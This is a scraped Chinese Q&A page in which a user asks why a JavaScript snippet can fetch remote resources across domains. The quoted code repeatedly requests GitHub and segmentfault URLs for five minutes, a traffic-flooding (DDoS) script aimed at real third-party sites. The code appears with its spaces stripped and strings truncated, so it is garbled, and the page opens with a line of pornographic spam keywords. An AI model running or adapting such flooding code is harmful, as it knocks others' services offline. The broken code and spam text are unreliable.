亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

JS這樣做居然可以跨域請求遠程資源,請問原理是什么???

JS這樣做居然可以跨域請求遠程資源,請問原理是什么???

郎朗坤 2019-04-19 16:11:23
演示地址:http://runjs.cn/code/vmjaz1pj如果說這樣就可以跨域請求資源了,那豈不是想要攻擊誰就攻擊誰?這樣太不安全了。代碼如下:document.write("\x3c/script>");!window.jQuery&&document.write("\x3c/script>");startime=(newDate).getTime();varcount=0;functionunixtime(){vara=newDate;returnDate.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3}url_array=["https://github.com/aiyuchen/LaravelShoppingcart","http://segmentfault.com/q/1010000000339531"];NUM=url_array.length;functionr_send2(){vara=unixtime()%NUM;get(url_array[a])}functionget(a){varb;$.ajax({url:a,dataType:"script",timeout:1E4,cache:!0,beforeSend:function(){requestTime=(newDate).getTime()},complete:function(){responseTime=(newDate).getTime();b=Math.floor(responseTime-requestTime);3E5>responseTime-startime&&(r_send(b),count+=1)}})}functionr_send(a){setTimeout("r_send2()",a)}setTimeout("r_send2()",2E3);?
查看完整描述

2 回答

  • 2 回答
  • 0 關注
  • 362 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號